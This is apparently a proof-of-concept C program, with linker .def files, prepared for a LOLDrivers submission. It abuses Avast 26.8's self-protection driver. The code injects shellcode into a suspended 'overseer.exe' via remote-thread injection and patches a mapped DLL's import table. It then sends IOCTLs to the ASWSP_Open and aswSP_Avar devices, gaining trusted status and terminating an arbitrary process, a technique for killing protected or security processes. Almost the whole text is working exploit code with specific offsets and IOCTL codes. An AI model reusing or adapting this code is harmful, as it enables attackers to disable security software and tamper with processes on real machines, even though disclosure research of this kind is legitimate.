Bounded Avast 26.8 BYOTC PoC for LOLDrivers submission

avast_parent_injector.c

typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned short wchar_t;
typedef unsigned int uint32_t;
typedef unsigned long DWORD;
typedef unsigned long long uint64_t;
typedef long long int64_t;
typedef long NTSTATUS;
typedef int BOOL;
typedef void *HANDLE;
typedef void *HMODULE;
typedef wchar_t *LPWSTR;
typedef const wchar_t *LPCWSTR;

#define FALSE 0
#define CREATE_SUSPENDED 4
#define GENERIC_READ 0x80000000
#define GENERIC_WRITE 0x40000000
#define OPEN_EXISTING 3
#define CREATE_ALWAYS 2
#define FILE_ATTRIBUTE_NORMAL 0x80
#define MEM_COMMIT 0x1000
#define MEM_RESERVE 0x2000
#define PAGE_EXECUTE_READWRITE 0x40
#define WAIT_OBJECT_0 0
#define INVALID_HANDLE_VALUE ((HANDLE)-1)

typedef struct {
  DWORD cb;
  LPWSTR reserved, desktop, title;
  DWORD x, y, xs, ys, xc, yc, fill, flags;
  uint16_t show, reserved2;
  uint8_t *reserved3;
  HANDLE in_handle, out_handle, error_handle;
} STARTUPINFOW;

typedef struct {
  HANDLE process, thread;
  DWORD pid, tid;
} PROCESS_INFORMATION;

typedef HANDLE (__stdcall *PFN_CREATE_FILE)(
    LPCWSTR, DWORD, DWORD, void *, DWORD, DWORD, HANDLE);
typedef BOOL (__stdcall *PFN_DEVICE_IO_CONTROL)(
    HANDLE, DWORD, void *, DWORD, void *, DWORD, DWORD *, void *);
typedef BOOL (__stdcall *PFN_CLOSE_HANDLE)(HANDLE);
typedef DWORD (__stdcall *PFN_GET_CURRENT_PID)(void);
typedef DWORD (__stdcall *PFN_GET_LAST_ERROR)(void);
typedef HMODULE (__stdcall *PFN_LOAD_LIBRARY)(LPCWSTR);
typedef DWORD (__stdcall *PFN_GET_CURRENT_TID)(void);
typedef BOOL (__stdcall *PFN_VIRTUAL_PROTECT)(void *, uint64_t, DWORD, DWORD *);
typedef NTSTATUS (__stdcall *PFN_NT_CREATE_SECTION)(
    HANDLE *, DWORD, void *, int64_t *, DWORD, DWORD, HANDLE);
typedef NTSTATUS (__stdcall *PFN_NT_MAP_VIEW)(
    HANDLE, HANDLE, void **, uint64_t, uint64_t, int64_t *, uint64_t *,
    DWORD, DWORD, DWORD);
typedef NTSTATUS (__stdcall *PFN_NT_CLOSE)(HANDLE);

#pragma pack(push, 1)
typedef struct {
  uint32_t magic;
  uint32_t target_pid;
  uint8_t promote;
  uint64_t callback;
  uint64_t stack_marker;
} TRUST_REQUEST;
#pragma pack(pop)

typedef struct {
  PFN_CREATE_FILE create_file;
  PFN_DEVICE_IO_CONTROL device_io_control;
  PFN_CLOSE_HANDLE close_handle;
  PFN_GET_CURRENT_PID get_current_pid;
  PFN_GET_LAST_ERROR get_last_error;
  PFN_LOAD_LIBRARY load_library;
  PFN_GET_CURRENT_TID get_current_tid;
  PFN_VIRTUAL_PROTECT virtual_protect;
  PFN_NT_CREATE_SECTION nt_create_section;
  PFN_NT_MAP_VIEW nt_map_view;
  PFN_NT_CLOSE nt_close;
  uint32_t target_pid;
  uint32_t stage;
  uint32_t promotion_ok;
  uint32_t promotion_error;
  uint32_t avar_open_error;
  uint32_t terminate_ok;
  uint32_t terminate_error;
  wchar_t bridge_path[96];
  wchar_t open_device[32];
  wchar_t avar_device[32];
} REMOTE_CONTEXT;

__declspec(dllimport) BOOL __stdcall CloseHandle(HANDLE);
__declspec(dllimport) BOOL __stdcall CreateProcessW(
    LPCWSTR, LPWSTR, void *, void *, BOOL, DWORD, void *, LPCWSTR,
    STARTUPINFOW *, PROCESS_INFORMATION *);
__declspec(dllimport) HANDLE __stdcall CreateFileW(
    LPCWSTR, DWORD, DWORD, void *, DWORD, DWORD, HANDLE);
__declspec(dllimport) HANDLE __stdcall CreateRemoteThread(
    HANDLE, void *, uint64_t, DWORD (__stdcall *)(void *), void *, DWORD,
    DWORD *);
__declspec(dllimport) BOOL __stdcall DeviceIoControl(
    HANDLE, DWORD, void *, DWORD, void *, DWORD, DWORD *, void *);
__declspec(dllimport) void __stdcall ExitProcess(DWORD);
__declspec(dllimport) DWORD __stdcall GetCurrentProcessId(void);
__declspec(dllimport) DWORD __stdcall GetCurrentThreadId(void);
__declspec(dllimport) DWORD __stdcall GetLastError(void);
__declspec(dllimport) HMODULE __stdcall LoadLibraryW(LPCWSTR);
__declspec(dllimport) BOOL __stdcall ReadProcessMemory(
    HANDLE, const void *, void *, uint64_t, uint64_t *);
__declspec(dllimport) DWORD __stdcall ResumeThread(HANDLE);
__declspec(dllimport) void __stdcall Sleep(DWORD);
__declspec(dllimport) void *__stdcall VirtualAllocEx(
    HANDLE, void *, uint64_t, DWORD, DWORD);
__declspec(dllimport) BOOL __stdcall VirtualProtect(
    void *, uint64_t, DWORD, DWORD *);
__declspec(dllimport) DWORD __stdcall WaitForSingleObject(HANDLE, DWORD);
__declspec(dllimport) BOOL __stdcall WriteFile(
    HANDLE, const void *, DWORD, DWORD *, void *);
__declspec(dllimport) BOOL __stdcall WriteProcessMemory(
    HANDLE, void *, const void *, uint64_t, uint64_t *);
__declspec(dllimport) NTSTATUS __stdcall NtCreateSection(
    HANDLE *, DWORD, void *, int64_t *, DWORD, DWORD, HANDLE);
__declspec(dllimport) NTSTATUS __stdcall NtMapViewOfSection(
    HANDLE, HANDLE, void **, uint64_t, uint64_t, int64_t *, uint64_t *,
    DWORD, DWORD, DWORD);
__declspec(dllimport) NTSTATUS __stdcall NtClose(HANDLE);

static void zero_bytes(void *dst, uint64_t length) {
  uint8_t *p = (uint8_t *)dst;
  while (length--)
    *p++ = 0;
}

static void copy_wide(wchar_t *dst, const wchar_t *src, uint32_t capacity) {
  uint32_t i = 0;
  while (i + 1 < capacity && src[i]) {
    dst[i] = src[i];
    ++i;
  }
  dst[i] = 0;
}

__attribute__((section(".payload$a"), noinline))
static DWORD __stdcall remote_poc(void *parameter) {
  REMOTE_CONTEXT *context = (REMOTE_CONTEXT *)parameter;
  context->stage = 1;
  HANDLE bridge_file = context->create_file(
      context->bridge_path, GENERIC_READ, 7, 0, OPEN_EXISTING,
      FILE_ATTRIBUTE_NORMAL, 0);
  if (bridge_file == INVALID_HANDLE_VALUE) {
    context->stage = 2;
    context->promotion_error = context->get_last_error();
    return 2;
  }
  HANDLE section = 0;
  NTSTATUS status = context->nt_create_section(
      &section, 0x000f001f, 0, 0, 2, 0x01000000, bridge_file);
  context->close_handle(bridge_file);
  if (status < 0) {
    context->stage = 2;
    context->promotion_error = (uint32_t)status;
    return 2;
  }
  void *bridge = (void *)0x180000000ULL;
  uint64_t view_size = 0;
  status = context->nt_map_view(section, INVALID_HANDLE_VALUE, &bridge, 0, 0,
                                0, &view_size, 2, 0, 2);
  context->nt_close(section);
  if (status < 0) {
    context->stage = 2;
    context->promotion_error = (uint32_t)status;
    return 2;
  }
  DWORD old_protect = 0;
  void *iat_page = (void *)((uint64_t)bridge + 0x8d000);
  if (!context->virtual_protect(iat_page, 0x1000, 4, &old_protect)) {
    context->stage = 2;
    context->promotion_error = context->get_last_error();
    return 2;
  }
  *(void **)((uint64_t)bridge + 0x8d1f8) =
      (void *)context->get_current_tid;
  context->virtual_protect(iat_page, 0x1000, old_protect, &old_protect);

  uint64_t callback = (uint64_t)bridge + 0x49620;
  volatile uint64_t marker_slots[8] = {0};
  marker_slots[3] = callback;
  HANDLE sp = context->create_file(context->open_device, 0, 3, 0,
                                   OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if (sp == INVALID_HANDLE_VALUE) {
    context->stage = 3;
    context->promotion_error = context->get_last_error();
    return 3;
  }

  TRUST_REQUEST request;
  request.magic = 0x7370746d;
  request.target_pid = context->get_current_pid();
  request.promote = 1;
  request.callback = callback;
  request.stack_marker = marker_slots[3];
  DWORD returned = 0;
  context->promotion_ok = context->device_io_control(
      sp, 0xb2d60198, &request, sizeof(request), 0, 0, &returned, 0);
  if (!context->promotion_ok)
    context->promotion_error = context->get_last_error();
  context->close_handle(sp);
  context->stage = 4;
  if (!context->promotion_ok)
    return 4;

  HANDLE avar = context->create_file(
      context->avar_device, GENERIC_READ | GENERIC_WRITE, 3, 0, OPEN_EXISTING,
      FILE_ATTRIBUTE_NORMAL, 0);
  if (avar == INVALID_HANDLE_VALUE) {
    context->stage = 5;
    context->avar_open_error = context->get_last_error();
    return 5;
  }
  context->terminate_ok = context->device_io_control(
      avar, 0x9988c094, &context->target_pid, sizeof(context->target_pid),
      0, 0, &returned, 0);
  if (!context->terminate_ok)
    context->terminate_error = context->get_last_error();
  context->close_handle(avar);
  context->stage = 6;
  return 0;
}

__attribute__((section(".payload$z"), noinline))
static DWORD __stdcall remote_poc_end(void *parameter) {
  (void)parameter;
  return 0;
}

static void save_context(const REMOTE_CONTEXT *context) {
  HANDLE file = CreateFileW(L"C:\\Users\\Public\\byotc\\parent-poc.bin",
                            GENERIC_WRITE, 0, 0, CREATE_ALWAYS,
                            FILE_ATTRIBUTE_NORMAL, 0);
  if (file != INVALID_HANDLE_VALUE) {
    DWORD written = 0;
    WriteFile(file, context, sizeof(*context), &written, 0);
    CloseHandle(file);
  }
}

void __stdcall mainCRTStartup(void) {
  const wchar_t *overseer =
      L"C:\\Users\\Public\\overseer_clean\\overseer.exe";
  wchar_t overseer_command[260];
  wchar_t notepad_command[64];
  STARTUPINFOW startup;
  PROCESS_INFORMATION host, target;
  REMOTE_CONTEXT context;
  zero_bytes(&startup, sizeof(startup));
  zero_bytes(&host, sizeof(host));
  zero_bytes(&target, sizeof(target));
  zero_bytes(&context, sizeof(context));
  zero_bytes(overseer_command, sizeof(overseer_command));
  zero_bytes(notepad_command, sizeof(notepad_command));
  startup.cb = sizeof(startup);
  copy_wide(notepad_command, L"notepad.exe", 64);
  if (!CreateProcessW(0, notepad_command, 0, 0, FALSE, 0, 0, 0, &startup,
                      &target))
    ExitProcess(10);

  copy_wide(overseer_command, overseer, 260);
  if (!CreateProcessW(overseer, overseer_command, 0, 0, FALSE,
                      CREATE_SUSPENDED, 0,
                      L"C:\\Users\\Public\\overseer_clean", &startup,
                      &host))
    ExitProcess(11);

  context.create_file = CreateFileW;
  context.device_io_control = DeviceIoControl;
  context.close_handle = CloseHandle;
  context.get_current_pid = GetCurrentProcessId;
  context.get_last_error = GetLastError;
  context.load_library = LoadLibraryW;
  context.get_current_tid = GetCurrentThreadId;
  context.virtual_protect = VirtualProtect;
  context.nt_create_section = NtCreateSection;
  context.nt_map_view = NtMapViewOfSection;
  context.nt_close = NtClose;
  context.target_pid = target.pid;
  copy_wide(context.bridge_path,
            L"C:\\Users\\Public\\overseer_clean\\driver_bridge.dll", 96);
  copy_wide(context.open_device, L"\\\\.\\ASWSP_Open", 32);
  copy_wide(context.avar_device, L"\\\\.\\aswSP_Avar", 32);

  uint64_t payload_size =
      (uint64_t)(uint8_t *)remote_poc_end - (uint64_t)(uint8_t *)remote_poc;
  uint64_t total_size = (payload_size + 0xfff) & ~0xfffULL;
  uint8_t *remote = (uint8_t *)VirtualAllocEx(
      host.process, 0, total_size + sizeof(context), MEM_COMMIT | MEM_RESERVE,
      PAGE_EXECUTE_READWRITE);
  if (!remote)
    ExitProcess(12);
  uint8_t *remote_context = remote + total_size;
  uint64_t written = 0;
  if (!WriteProcessMemory(host.process, remote, (void *)remote_poc,
                          payload_size, &written))
    ExitProcess(13);
  if (!WriteProcessMemory(host.process, remote_context, &context,
                          sizeof(context), &written))
    ExitProcess(14);

  ResumeThread(host.thread);
  Sleep(250);
  HANDLE thread = CreateRemoteThread(
      host.process, 0, 0, (DWORD (__stdcall *)(void *))remote, remote_context,
      0, 0);
  if (!thread)
    ExitProcess(15);
  WaitForSingleObject(thread, 10000);
  ReadProcessMemory(host.process, remote_context, &context, sizeof(context),
                    &written);
  save_context(&context);
  CloseHandle(thread);
  CloseHandle(host.thread);
  CloseHandle(host.process);
  CloseHandle(target.thread);
  CloseHandle(target.process);
  ExitProcess(0);
}

kernel32_parent_injector.def

LIBRARY KERNEL32.dll
EXPORTS
CloseHandle
CreateFileW
CreateProcessW
CreateRemoteThread
DeviceIoControl
ExitProcess
GetCurrentProcessId
GetCurrentThreadId
GetLastError
LoadLibraryW
ReadProcessMemory
ResumeThread
Sleep
VirtualAllocEx
VirtualProtect
WaitForSingleObject
WriteFile
WriteProcessMemory

ntdll_min.def

LIBRARY ntdll.dll
EXPORTS
NtClose
NtCreateSection
NtMapViewOfSection